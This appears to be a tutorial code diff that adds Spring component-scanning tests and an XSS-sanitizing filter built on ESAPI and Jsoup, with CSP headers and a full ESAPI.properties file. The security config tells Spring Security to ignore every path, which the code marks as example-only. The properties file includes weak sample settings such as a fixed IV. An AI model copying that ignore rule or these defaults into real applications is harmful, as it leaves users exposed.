spring-core-5/src/main/java/com/baeldung/component/outsidescope/OutsideScopeExample.java

@@ -0,0 +1,7 @@
+package com.baeldung.component.outsidescope;
+
+import org.springframework.stereotype.Component;
+
+@Component
+public class OutsideScopeExample {
+}

spring-core-5/src/main/java/com/baeldung/component/scannedscope/ScannedScopeExample.java

@@ -0,0 +1,7 @@
+package com.baeldung.component.scannedscope;
+
+import org.springframework.stereotype.Component;
+
+@Component
+public class ScannedScopeExample {
+}

spring-core-5/src/main/resources/application.yml

@@ -0,0 +1 @@
+ambiguous-bean: 'A'

spring-core-5/src/test/java/com/baeldung/component/inscope/ComponentUnitTest.java

@@ -0,0 +1,54 @@
+package com.baeldung.component.inscope;
+
+import com.baeldung.component.outsidescope.OutsideScopeBeanExample;
+import com.baeldung.component.outsidescope.OutsideScopeExample;
+import com.baeldung.component.scannedscope.ScannedScopeExample;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.springframework.beans.factory.NoSuchBeanDefinitionException;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.context.ApplicationContext;
+import org.springframework.test.context.junit.jupiter.SpringExtension;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+@SpringBootTest
+@ExtendWith(SpringExtension.class)
+public class ComponentUnitTest {
+
+    @Autowired
+    private ApplicationContext applicationContext;
+
+    @Test
+    public void givenInScopeComponents_whenSearchingInApplicationContext_thenFindThem() {
+        assertNotNull(applicationContext.getBean(ControllerExample.class));
+        assertNotNull(applicationContext.getBean(ServiceExample.class));
+        assertNotNull(applicationContext.getBean(RepositoryExample.class));
+        assertNotNull(applicationContext.getBean(ComponentExample.class));
+        assertNotNull(applicationContext.getBean(CustomComponentExample.class));
+    }
+
+    @Test
+    public void givenOutsideScopeComponent_whenSearchingInApplicationContext_thenFail() {
+        assertThrows(NoSuchBeanDefinitionException.class, () -> applicationContext.getBean(OutsideScopeExample.class));
+    }
+
+    @Test
+    public void givenScannedScopeComponent_whenSearchingInApplicationContext_thenFindIt() {
+        assertNotNull(applicationContext.getBean(ScannedScopeExample.class));
+    }
+
+    @Test
+    public void givenBeanComponents_whenSearchingInApplicationContext_thenFindThem() {
+        assertNotNull(applicationContext.getBean(BeanExample.class));
+        assertNotNull(applicationContext.getBean(OutsideScopeBeanExample.class));
+    }
+
+    @Test
+    public void givenAmbiguousBeanSetToB_whenSearchingInApplicationContext_thenFindImplB() {
+        AmbiguousBean ambiguousBean = applicationContext.getBean(AmbiguousBean.class);
+        assertNotNull(ambiguousBean);
+        assertTrue(ambiguousBean instanceof BeanImplB);
+    }
+}

spring-core-5/src/test/resources/application.yml

@@ -0,0 +1 @@
+ambiguous-bean: 'B'

spring-security-modules/spring-5-security/pom.xml

@@ -46,6 +46,21 @@
             <artifactId>spring-security-test</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.owasp.esapi</groupId>
+            <artifactId>esapi</artifactId>
+            <version>2.2.2.0</version>
+        </dependency>
+        <dependency>
+            <groupId>org.jsoup</groupId>
+            <artifactId>jsoup</artifactId>
+            <version>1.13.1</version>
+        </dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.8.0</version>
+        </dependency>
     </dependencies>
 
     <build>

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/Application.java

@@ -0,0 +1,14 @@
+package com.baeldung.xss;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+
+@SpringBootApplication
+@EnableWebSecurity
+public class Application {
+
+    public static void main(String[] args) {
+        SpringApplication.run(Application.class, args);
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/Person.java

@@ -0,0 +1,36 @@
+package com.baeldung.xss;
+
+public class Person {
+    private String firstName;
+    private String lastName;
+    private int age;
+
+    public String getFirstName() {
+        return firstName;
+    }
+
+    public void setFirstName(String firstName) {
+        this.firstName = firstName;
+    }
+
+    public String getLastName() {
+        return lastName;
+    }
+
+    public void setLastName(String lastName) {
+        this.lastName = lastName;
+    }
+
+    public int getAge() {
+        return age;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    @Override
+    public String toString() {
+        return "Person {" + "firstName='" + firstName + '\'' + ", lastName='" + lastName + '\'' + ", age=" + age + '}';
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/PersonController.java

@@ -0,0 +1,31 @@
+package com.baeldung.xss;
+
+import com.fasterxml.jackson.databind.node.JsonNodeFactory;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestHeader;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.RequestBody;
+
+import java.util.Map;
+
+@RestController
+@RequestMapping("/personService")
+public class PersonController {
+
+    @PostMapping(value = "/person")
+    private ResponseEntity<String> savePerson(@RequestHeader Map<String, String> headers,
+        @RequestParam String param, @RequestBody Person body) {
+        ObjectNode response = JsonNodeFactory.instance.objectNode();
+        headers.forEach((key, value) -> response.put(key, value));
+        response.put("firstName", body.getFirstName());
+        response.put("lastName", body.getLastName());
+        response.put("age", body.getAge());
+        response.put("param", param);
+        return new ResponseEntity<String>(response.toString(), HttpStatus.OK);
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/SecurityConf.java

@@ -0,0 +1,25 @@
+package com.baeldung.xss;
+
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.builders.WebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+
+@Configuration
+public class SecurityConf extends WebSecurityConfigurerAdapter {
+
+    @Override
+    public void configure(WebSecurity web) {
+        // Ignoring here is only for this example. Normally people would apply their own authentication/authorization policies
+        web.ignoring().antMatchers("/**");
+    }
+
+    @Override
+    protected void configure(HttpSecurity http) throws Exception {
+        http
+            .headers()
+            .xssProtection()
+            .and()
+            .contentSecurityPolicy("script-src 'self'");
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/XSSFilter.java

@@ -0,0 +1,44 @@
+package com.baeldung.xss;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang.StringUtils;
+import org.springframework.core.Ordered;
+import org.springframework.core.annotation.Order;
+import org.springframework.stereotype.Component;
+import javax.servlet.Filter;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.ServletException;
+import javax.servlet.FilterChain;
+import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
+
+@Component
+@Order(Ordered.HIGHEST_PRECEDENCE)
+public class XSSFilter implements Filter {
+
+    @Override
+    public void init(FilterConfig filterConfig) {
+    }
+
+    @Override
+    public void destroy() {
+    }
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+        throws IOException, ServletException {
+
+        XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request);
+
+        String body = IOUtils.toString(wrappedRequest.getReader());
+        if (!StringUtils.isBlank(body)) {
+            body = XSSUtils.stripXSS(body);
+            wrappedRequest.resetInputStream(body.getBytes());
+        }
+
+        chain.doFilter(wrappedRequest, response);
+    }
+
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/XSSRequestWrapper.java

@@ -0,0 +1,123 @@
+package com.baeldung.xss;
+
+import org.apache.commons.codec.Charsets;
+import org.apache.commons.io.IOUtils;
+import javax.servlet.ReadListener;
+import javax.servlet.ServletInputStream;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletRequestWrapper;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.List;
+
+import static com.baeldung.xss.XSSUtils.stripXSS;
+
+
+public class XSSRequestWrapper extends HttpServletRequestWrapper {
+
+    private byte[] rawData;
+    private HttpServletRequest request;
+    private ResettableServletInputStream servletStream;
+
+    public XSSRequestWrapper(HttpServletRequest request) {
+        super(request);
+        this.request = request;
+        this.servletStream = new ResettableServletInputStream();
+    }
+
+    public void resetInputStream(byte[] newRawData) {
+        rawData = newRawData;
+        servletStream.stream = new ByteArrayInputStream(newRawData);
+    }
+
+    @Override
+    public ServletInputStream getInputStream() throws IOException {
+        if (rawData == null) {
+            rawData = IOUtils.toByteArray(this.request.getReader(), Charsets.UTF_8);
+            servletStream.stream = new ByteArrayInputStream(rawData);
+        }
+        return servletStream;
+    }
+
+    @Override
+    public BufferedReader getReader() throws IOException {
+        if (rawData == null) {
+            rawData = IOUtils.toByteArray(this.request.getReader(), Charsets.UTF_8);
+            servletStream.stream = new ByteArrayInputStream(rawData);
+        }
+        return new BufferedReader(new InputStreamReader(servletStream));
+    }
+
+    private class ResettableServletInputStream extends ServletInputStream {
+
+        private InputStream stream;
+
+        @Override
+        public int read() throws IOException {
+            return stream.read();
+        }
+
+        @Override
+        public boolean isFinished() {
+            return false;
+        }
+
+        @Override
+        public boolean isReady() {
+            return false;
+        }
+
+        @Override
+        public void setReadListener(ReadListener readListener) {
+
+        }
+    }
+
+    @Override
+    public String[] getParameterValues(String parameter) {
+        String[] values = super.getParameterValues(parameter);
+        if (values == null) {
+            return null;
+        }
+        int count = values.length;
+        String[] encodedValues = new String[count];
+        for (int i = 0; i < count; i++) {
+            encodedValues[i] = stripXSS(values[i]);
+        }
+        return encodedValues;
+    }
+
+    @Override
+    public String getParameter(String parameter) {
+        String value = super.getParameter(parameter);
+        return stripXSS(value);
+    }
+
+    @Override
+    public String getHeader(String name) {
+        String value = super.getHeader(name);
+        return stripXSS(value);
+    }
+
+    @Override
+    public Enumeration<String> getHeaders(String name) {
+        List<String> result = new ArrayList<>();
+        Enumeration<String> headers = super.getHeaders(name);
+        while (headers.hasMoreElements()) {
+            String header = headers.nextElement();
+            String[] tokens = header.split(",");
+            for (String token : tokens) {
+                result.add(stripXSS(token));
+            }
+        }
+        return Collections.enumeration(result);
+    }
+
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/XSSUtils.java

@@ -0,0 +1,19 @@
+package com.baeldung.xss;
+
+import org.jsoup.Jsoup;
+import org.jsoup.safety.Whitelist;
+import org.owasp.esapi.ESAPI;
+
+public class XSSUtils {
+
+    public static String stripXSS(String value) {
+        if (value == null) {
+            return null;
+        }
+        value = ESAPI.encoder()
+            .canonicalize(value)
+              .replaceAll("\0", "");
+        return Jsoup.clean(value, Whitelist.none());
+    }
+
+}

spring-security-modules/spring-5-security/src/main/resources/ESAPI.properties

@@ -0,0 +1,545 @@
+#
+# OWASP Enterprise Security API (ESAPI) Properties file -- PRODUCTION Version
+#
+# This file is part of the Open Web Application Security Project (OWASP)
+# Enterprise Security API (ESAPI) project. For details, please see
+# https://owasp.org/www-project-enterprise-security-api/
+#
+# Copyright (c) 2008,2009 - The OWASP Foundation
+#
+# DISCUSS: This may cause a major backwards compatibility issue, etc. but
+#		   from a name space perspective, we probably should have prefaced
+#		   all the property names with ESAPI or at least OWASP. Otherwise
+#		   there could be problems is someone loads this properties file into
+#		   the System properties.  We could also put this file into the
+#		   esapi.jar file (perhaps as a ResourceBundle) and then allow an external
+#		   ESAPI properties be defined that would overwrite these defaults.
+#		   That keeps the application's properties relatively simple as usually
+#		   they will only want to override a few properties. If looks like we
+#		   already support multiple override levels of this in the
+#		   DefaultSecurityConfiguration class, but I'm suggesting placing the
+#		   defaults in the esapi.jar itself. That way, if the jar is signed,
+#		   we could detect if those properties had been tampered with. (The
+#		   code to check the jar signatures is pretty simple... maybe 70-90 LOC,
+#		   but off course there is an execution penalty (similar to the way
+#		   that the separate sunjce.jar used to be when a class from it was
+#		   first loaded). Thoughts?
+###############################################################################
+#
+# WARNING: Operating system protection should be used to lock down the .esapi
+# resources directory and all the files inside and all the directories all the
+# way up to the root directory of the file system.  Note that if you are using
+# file-based implementations, that some files may need to be read-write as they
+# get updated dynamically.
+#
+#===========================================================================
+# ESAPI Configuration
+#
+# If true, then print all the ESAPI properties set here when they are loaded.
+# If false, they are not printed. Useful to reduce output when running JUnit tests.
+# If you need to troubleshoot a properties related problem, turning this on may help.
+# This is 'false' in the src/test/resources/.esapi version. It is 'true' by
+# default for reasons of backward compatibility with earlier ESAPI versions.
+ESAPI.printProperties=true
+
+# ESAPI is designed to be easily extensible. You can use the reference implementation
+# or implement your own providers to take advantage of your enterprise's security
+# infrastructure. The functions in ESAPI are referenced using the ESAPI locator, like:
+#
+#    String ciphertext =
+#		ESAPI.encryptor().encrypt("Secret message");   // Deprecated in 2.0
+#    CipherText cipherText =
+#		ESAPI.encryptor().encrypt(new PlainText("Secret message")); // Preferred
+#
+# Below you can specify the classname for the provider that you wish to use in your
+# application. The only requirement is that it implement the appropriate ESAPI interface.
+# This allows you to switch security implementations in the future without rewriting the
+# entire application.
+#
+# ExperimentalAccessController requires ESAPI-AccessControlPolicy.xml in .esapi directory
+ESAPI.AccessControl=org.owasp.esapi.reference.DefaultAccessController
+# FileBasedAuthenticator requires users.txt file in .esapi directory
+ESAPI.Authenticator=org.owasp.esapi.reference.FileBasedAuthenticator
+ESAPI.Encoder=org.owasp.esapi.reference.DefaultEncoder
+ESAPI.Encryptor=org.owasp.esapi.reference.crypto.JavaEncryptor
+
+ESAPI.Executor=org.owasp.esapi.reference.DefaultExecutor
+ESAPI.HTTPUtilities=org.owasp.esapi.reference.DefaultHTTPUtilities
+ESAPI.IntrusionDetector=org.owasp.esapi.reference.DefaultIntrusionDetector
+# Log4JFactory Requires log4j.xml or log4j.properties in classpath - http://www.laliluna.de/log4j-tutorial.html
+# Note that this is now considered deprecated!
+ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory
+#ESAPI.Logger=org.owasp.esapi.logging.log4j.Log4JLogFactory
+#ESAPI.Logger=org.owasp.esapi.logging.java.JavaLogFactory
+# To use the new SLF4J logger in ESAPI (see GitHub issue #129), set
+#    ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory
+# and do whatever other normal SLF4J configuration that you normally would do for your application.
+ESAPI.Randomizer=org.owasp.esapi.reference.DefaultRandomizer
+ESAPI.Validator=org.owasp.esapi.reference.DefaultValidator
+
+#===========================================================================
+# ESAPI Authenticator
+#
+Authenticator.AllowedLoginAttempts=3
+Authenticator.MaxOldPasswordHashes=13
+Authenticator.UsernameParameterName=username
+Authenticator.PasswordParameterName=password
+# RememberTokenDuration (in days)
+Authenticator.RememberTokenDuration=14
+# Session Timeouts (in minutes)
+Authenticator.IdleTimeoutDuration=20
+Authenticator.AbsoluteTimeoutDuration=120
+
+#===========================================================================
+# ESAPI Encoder
+#
+# ESAPI canonicalizes input before validation to prevent bypassing filters with encoded attacks.
+# Failure to canonicalize input is a very common mistake when implementing validation schemes.
+# Canonicalization is automatic when using the ESAPI Validator, but you can also use the
+# following code to canonicalize data.
+#
+#      ESAPI.Encoder().canonicalize( "%22hello world"" );
+#
+# Multiple encoding is when a single encoding format is applied multiple times. Allowing
+# multiple encoding is strongly discouraged.
+Encoder.AllowMultipleEncoding=false
+
+# Mixed encoding is when multiple different encoding formats are applied, or when
+# multiple formats are nested. Allowing multiple encoding is strongly discouraged.
+Encoder.AllowMixedEncoding=false
+
+# The default list of codecs to apply when canonicalizing untrusted data. The list should include the codecs
+# for all downstream interpreters or decoders. For example, if the data is likely to end up in a URL, HTML, or
+# inside JavaScript, then the list of codecs below is appropriate. The order of the list is not terribly important.
+Encoder.DefaultCodecList=HTMLEntityCodec,PercentCodec,JavaScriptCodec
+
+
+#===========================================================================
+# ESAPI Encryption
+#
+# The ESAPI Encryptor provides basic cryptographic functions with a simplified API.
+# To get started, generate a new key using java -classpath esapi.jar org.owasp.esapi.reference.crypto.JavaEncryptor
+# There is not currently any support for key rotation, so be careful when changing your key and salt as it
+# will invalidate all signed, encrypted, and hashed data.
+#
+# WARNING: Not all combinations of algorithms and key lengths are supported.
+# If you choose to use a key length greater than 128, you MUST download the
+# unlimited strength policy files and install in the lib directory of your JRE/JDK.
+# See http://java.sun.com/javase/downloads/index.jsp for more information.
+#
+#		***** IMPORTANT: Do NOT forget to replace these with your own values! *****
+# To calculate these values, you can run:
+#		java -classpath esapi.jar org.owasp.esapi.reference.crypto.JavaEncryptor
+#
+#Encryptor.MasterKey=
+#Encryptor.MasterSalt=
+
+# Provides the default JCE provider that ESAPI will "prefer" for its symmetric
+# encryption and hashing. (That is it will look to this provider first, but it
+# will defer to other providers if the requested algorithm is not implemented
+# by this provider.) If left unset, ESAPI will just use your Java VM's current
+# preferred JCE provider, which is generally set in the file
+# "$JAVA_HOME/jre/lib/security/java.security".
+#
+# The main intent of this is to allow ESAPI symmetric encryption to be
+# used with a FIPS 140-2 compliant crypto-module. For details, see the section
+# "Using ESAPI Symmetric Encryption with FIPS 140-2 Cryptographic Modules" in
+# the ESAPI 2.0 Symmetric Encryption User Guide, at:
+# http://owasp-esapi-java.googlecode.com/svn/trunk/documentation/esapi4java-core-2.0-symmetric-crypto-user-guide.html
+# However, this property also allows you to easily use an alternate JCE provider
+# such as "Bouncy Castle" without having to make changes to "java.security".
+# See Javadoc for SecurityProviderLoader for further details. If you wish to use
+# a provider that is not known to SecurityProviderLoader, you may specify the
+# fully-qualified class name of the JCE provider class that implements
+# java.security.Provider. If the name contains a '.', this is interpreted as
+# a fully-qualified class name that implements java.security.Provider.
+#
+# NOTE: Setting this property has the side-effect of changing it in your application
+#       as well, so if you are using JCE in your application directly rather than
+#       through ESAPI (you wouldn't do that, would you? ;-), it will change the
+#       preferred JCE provider there as well.
+#
+# Default: Keeps the JCE provider set to whatever JVM sets it to.
+Encryptor.PreferredJCEProvider=
+
+# AES is the most widely used and strongest encryption algorithm. This
+# should agree with your Encryptor.CipherTransformation property.
+# Warning: This property does not control the default reference implementation for
+#		   ESAPI 2.0 using JavaEncryptor. Also, this property will be dropped
+#		   in the future.
+# @deprecated
+Encryptor.EncryptionAlgorithm=AES
+#		For ESAPI Java 2.0 - New encrypt / decrypt methods use this.
+Encryptor.CipherTransformation=AES/CBC/PKCS5Padding
+
+# Applies to ESAPI 2.0 and later only!
+# Comma-separated list of cipher modes that provide *BOTH*
+# confidentiality *AND* message authenticity. (NIST refers to such cipher
+# modes as "combined modes" so that's what we shall call them.) If any of these
+# cipher modes are used then no MAC is calculated and stored
+# in the CipherText upon encryption. Likewise, if one of these
+# cipher modes is used with decryption, no attempt will be made
+# to validate the MAC contained in the CipherText object regardless
+# of whether it contains one or not. Since the expectation is that
+# these cipher modes support support message authenticity already,
+# injecting a MAC in the CipherText object would be at best redundant.
+#
+# Note that as of JDK 1.5, the SunJCE provider does not support *any*
+# of these cipher modes. Of these listed, only GCM and CCM are currently
+# NIST approved. YMMV for other JCE providers. E.g., Bouncy Castle supports
+# GCM and CCM with "NoPadding" mode, but not with "PKCS5Padding" or other
+# padding modes.
+Encryptor.cipher_modes.combined_modes=GCM,CCM,IAPM,EAX,OCB,CWC
+
+# Applies to ESAPI 2.0 and later only!
+# Additional cipher modes allowed for ESAPI 2.0 encryption. These
+# cipher modes are in _addition_ to those specified by the property
+# 'Encryptor.cipher_modes.combined_modes'.
+# Note: We will add support for streaming modes like CFB & OFB once
+# we add support for 'specified' to the property 'Encryptor.ChooseIVMethod'
+# (probably in ESAPI 2.1).
+# DISCUSS: Better name?
+Encryptor.cipher_modes.additional_allowed=CBC
+
+# Default key size to use for cipher specified by Encryptor.EncryptionAlgorithm.
+# Note that this MUST be a valid key size for the algorithm being used
+# (as specified by Encryptor.EncryptionAlgorithm). So for example, if AES is used,
+# it must be 128, 192, or 256. If DESede is chosen, then it must be either 112 or 168.
+#
+# Note that 128-bits is almost always sufficient and for AES it appears to be more
+# somewhat more resistant to related key attacks than is 256-bit AES.)
+#
+# Defaults to 128-bits if left blank.
+#
+# NOTE: If you use a key size > 128-bits, then you MUST have the JCE Unlimited
+#       Strength Jurisdiction Policy files installed!!!
+#
+Encryptor.EncryptionKeyLength=128
+
+# This is the _minimum_ key size (in bits) that we allow with ANY symmetric
+# cipher for doing encryption. (There is no minimum for decryption.)
+#
+# Generally, if you only use one algorithm, this should be set the same as
+# the Encryptor.EncryptionKeyLength property.
+Encryptor.MinEncryptionKeyLength=128
+
+# Because 2.x uses CBC mode by default, it requires an initialization vector (IV).
+# (All cipher modes except ECB require an IV.) There are two choices: we can either
+# use a fixed IV known to both parties or allow ESAPI to choose a random IV. While
+# the IV does not need to be hidden from adversaries, it is important that the
+# adversary not be allowed to choose it. Also, random IVs are generally much more
+# secure than fixed IVs. (In fact, it is essential that feed-back cipher modes
+# such as CFB and OFB use a different IV for each encryption with a given key so
+# in such cases, random IVs are much preferred. By default, ESAPI 2.0 uses random
+# IVs. If you wish to use 'fixed' IVs, set 'Encryptor.ChooseIVMethod=fixed' and
+# uncomment the Encryptor.fixedIV.
+#
+# Valid values:		random|fixed|specified		'specified' not yet implemented; planned for 2.3
+#                                               'fixed' is deprecated as of 2.2
+#                                               and will be removed in 2.3.
+Encryptor.ChooseIVMethod=random
+
+
+# If you choose to use a fixed IV, then you must place a fixed IV here that
+# is known to all others who are sharing your secret key. The format should
+# be a hex string that is the same length as the cipher block size for the
+# cipher algorithm that you are using. The following is an *example* for AES
+# from an AES test vector for AES-128/CBC as described in:
+# NIST Special Publication 800-38A (2001 Edition)
+# "Recommendation for Block Cipher Modes of Operation".
+# (Note that the block size for AES is 16 bytes == 128 bits.)
+#
+#   @Deprecated -- fixed IVs are deprecated as of the 2.2 release and support
+#                  will be removed in the next release (tentatively, 2.3).
+#                  If you MUST use this, at least replace this IV with one
+#                  that your legacy application was using.
+Encryptor.fixedIV=0x000102030405060708090a0b0c0d0e0f
+
+# Whether or not CipherText should use a message authentication code (MAC) with it.
+# This prevents an adversary from altering the IV as well as allowing a more
+# fool-proof way of determining the decryption failed because of an incorrect
+# key being supplied. This refers to the "separate" MAC calculated and stored
+# in CipherText, not part of any MAC that is calculated as a result of a
+# "combined mode" cipher mode.
+#
+# If you are using ESAPI with a FIPS 140-2 cryptographic module, you *must* also
+# set this property to false. That is because ESAPI takes the master key and
+# derives 2 keys from it--a key for the MAC and a key for encryption--and
+# because ESAPI is not itself FIPS 140-2 verified such intermediary aterations
+# to keys from FIPS approved sources would have the effect of making your FIPS
+# approved key generation and thus your FIPS approved JCE provider unapproved!
+# More details in
+#       documentation/esapi4java-core-2.0-readme-crypto-changes.html
+#       documentation/esapi4java-core-2.0-symmetric-crypto-user-guide.html
+# You have been warned.
+Encryptor.CipherText.useMAC=true
+
+# Whether or not the PlainText object may be overwritten and then marked
+# eligible for garbage collection. If not set, this is still treated as 'true'.
+Encryptor.PlainText.overwrite=true
+
+# Do not use DES except in a legacy situations. 56-bit is way too small key size.
+#Encryptor.EncryptionKeyLength=56
+#Encryptor.MinEncryptionKeyLength=56
+#Encryptor.EncryptionAlgorithm=DES
+
+# TripleDES is considered strong enough for most purposes.
+#	Note:	There is also a 112-bit version of DESede. Using the 168-bit version
+#			requires downloading the special jurisdiction policy from Sun.
+#Encryptor.EncryptionKeyLength=168
+#Encryptor.MinEncryptionKeyLength=112
+#Encryptor.EncryptionAlgorithm=DESede
+
+Encryptor.HashAlgorithm=SHA-512
+Encryptor.HashIterations=1024
+Encryptor.DigitalSignatureAlgorithm=SHA1withDSA
+Encryptor.DigitalSignatureKeyLength=1024
+Encryptor.RandomAlgorithm=SHA1PRNG
+Encryptor.CharacterEncoding=UTF-8
+
+# This is the Pseudo Random Function (PRF) that ESAPI's Key Derivation Function
+# (KDF) normally uses. Note this is *only* the PRF used for ESAPI's KDF and
+# *not* what is used for ESAPI's MAC. (Currently, HmacSHA1 is always used for
+# the MAC, mostly to keep the overall size at a minimum.)
+#
+# Currently supported choices for JDK 1.5 and 1.6 are:
+#	HmacSHA1 (160 bits), HmacSHA256 (256 bits), HmacSHA384 (384 bits), and
+#	HmacSHA512 (512 bits).
+# Note that HmacMD5 is *not* supported for the PRF used by the KDF even though
+# the JDKs support it.  See the ESAPI 2.0 Symmetric Encryption User Guide
+# further details.
+Encryptor.KDF.PRF=HmacSHA256
+#===========================================================================
+# ESAPI HttpUtilties
+#
+# The HttpUtilities provide basic protections to HTTP requests and responses. Primarily these methods
+# protect against malicious data from attackers, such as unprintable characters, escaped characters,
+# and other simple attacks. The HttpUtilities also provides utility methods for dealing with cookies,
+# headers, and CSRF tokens.
+#
+# Default file upload location (remember to escape backslashes with \\)
+HttpUtilities.UploadDir=C:\\ESAPI\\testUpload
+HttpUtilities.UploadTempDir=C:\\temp
+# Force flags on cookies, if you use HttpUtilities to set cookies
+HttpUtilities.ForceHttpOnlySession=false
+HttpUtilities.ForceSecureSession=false
+HttpUtilities.ForceHttpOnlyCookies=true
+HttpUtilities.ForceSecureCookies=true
+# Maximum size of HTTP header key--the validator regex may have additional values.
+HttpUtilities.MaxHeaderNameSize=256
+# Maximum size of HTTP header value--the validator regex may have additional values.
+HttpUtilities.MaxHeaderValueSize=4096
+# Maximum size of JSESSIONID for the application--the validator regex may have additional values.
+HttpUtilities.HTTPJSESSIONIDLENGTH=50
+# Maximum length of a URL (see https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers)
+HttpUtilities.URILENGTH=2000
+# Maximum length of a redirect
+HttpUtilities.maxRedirectLength=512
+# Maximum length for an http scheme
+HttpUtilities.HTTPSCHEMELENGTH=10
+# Maximum length for an http host
+HttpUtilities.HTTPHOSTLENGTH=100
+# Maximum length for an http path
+HttpUtilities.HTTPPATHLENGTH=150
+#Maximum length for a context path
+HttpUtilities.contextPathLength=150
+#Maximum length for an httpServletPath
+HttpUtilities.HTTPSERVLETPATHLENGTH=100
+#Maximum length for an http query parameter name
+HttpUtilities.httpQueryParamNameLength=100
+#Maximum length for an http query parameter -- old default was 2000, but that's the max length for a URL...
+HttpUtilities.httpQueryParamValueLength=500
+# File upload configuration
+HttpUtilities.ApprovedUploadExtensions=.pdf,.doc,.docx,.ppt,.pptx,.xls,.xlsx,.rtf,.txt,.jpg,.png
+HttpUtilities.MaxUploadFileBytes=500000000
+# Using UTF-8 throughout your stack is highly recommended. That includes your database driver,
+# container, and any other technologies you may be using. Failure to do this may expose you
+# to Unicode transcoding injection attacks. Use of UTF-8 does not hinder internationalization.
+HttpUtilities.ResponseContentType=text/html; charset=UTF-8
+# This is the name of the cookie used to represent the HTTP session
+# Typically this will be the default "JSESSIONID"
+HttpUtilities.HttpSessionIdName=JSESSIONID
+#Sets whether or not we will overwrite http status codes to 200.
+HttpUtilities.OverwriteStatusCodes=true
+#Sets the application's base character encoding.  This is forked from the Java Encryptor property.
+HttpUtilities.CharacterEncoding=UTF-8
+
+#===========================================================================
+# ESAPI Executor
+# CHECKME - This should be made OS independent. Don't use unsafe defaults.
+# # Examples only -- do NOT blindly copy!
+#   For Windows:
+#     Executor.WorkingDirectory=C:\\Windows\\Temp
+#     Executor.ApprovedExecutables=C:\\Windows\\System32\\cmd.exe,C:\\Windows\\System32\\runas.exe
+#   For *nux, MacOS:
+#     Executor.WorkingDirectory=/tmp
+#     Executor.ApprovedExecutables=/bin/bash
+Executor.WorkingDirectory=
+Executor.ApprovedExecutables=
+
+
+#===========================================================================
+# ESAPI Logging
+# Set the application name if these logs are combined with other applications
+Logger.ApplicationName=ExampleApplication
+# If you use an HTML log viewer that does not properly HTML escape log data, you can set LogEncodingRequired to true
+Logger.LogEncodingRequired=false
+# Determines whether ESAPI should log the application name. This might be clutter in some single-server/single-app environments.
+Logger.LogApplicationName=true
+# Determines whether ESAPI should log the server IP and port. This might be clutter in some single-server environments.
+Logger.LogServerIP=true
+# LogFileName, the name of the logging file. Provide a full directory path (e.g., C:\\ESAPI\\ESAPI_logging_file) if you
+# want to place it in a specific directory.
+Logger.LogFileName=ESAPI_logging_file
+# MaxLogFileSize, the max size (in bytes) of a single log file before it cuts over to a new one (default is 10,000,000)
+Logger.MaxLogFileSize=10000000
+# Determines whether ESAPI should log the user info.
+Logger.UserInfo=true
+# Determines whether ESAPI should log the session id and client IP.
+Logger.ClientInfo=true
+
+#===========================================================================
+# ESAPI Intrusion Detection
+#
+# Each event has a base to which .count, .interval, and .action are added
+# The IntrusionException will fire if we receive "count" events within "interval" seconds
+# The IntrusionDetector is configurable to take the following actions: log, logout, and disable
+#  (multiple actions separated by commas are allowed e.g. event.test.actions=log,disable
+#
+# Custom Events
+# Names must start with "event." as the base
+# Use IntrusionDetector.addEvent( "test" ) in your code to trigger "event.test" here
+# You can also disable intrusion detection completely by changing
+# the following parameter to true
+#
+IntrusionDetector.Disable=false
+#
+IntrusionDetector.event.test.count=2
+IntrusionDetector.event.test.interval=10
+IntrusionDetector.event.test.actions=disable,log
+
+# Exception Events
+# All EnterpriseSecurityExceptions are registered automatically
+# Call IntrusionDetector.getInstance().addException(e) for Exceptions that do not extend EnterpriseSecurityException
+# Use the fully qualified classname of the exception as the base
+
+# any intrusion is an attack
+IntrusionDetector.org.owasp.esapi.errors.IntrusionException.count=1
+IntrusionDetector.org.owasp.esapi.errors.IntrusionException.interval=1
+IntrusionDetector.org.owasp.esapi.errors.IntrusionException.actions=log,disable,logout
+
+# for test purposes
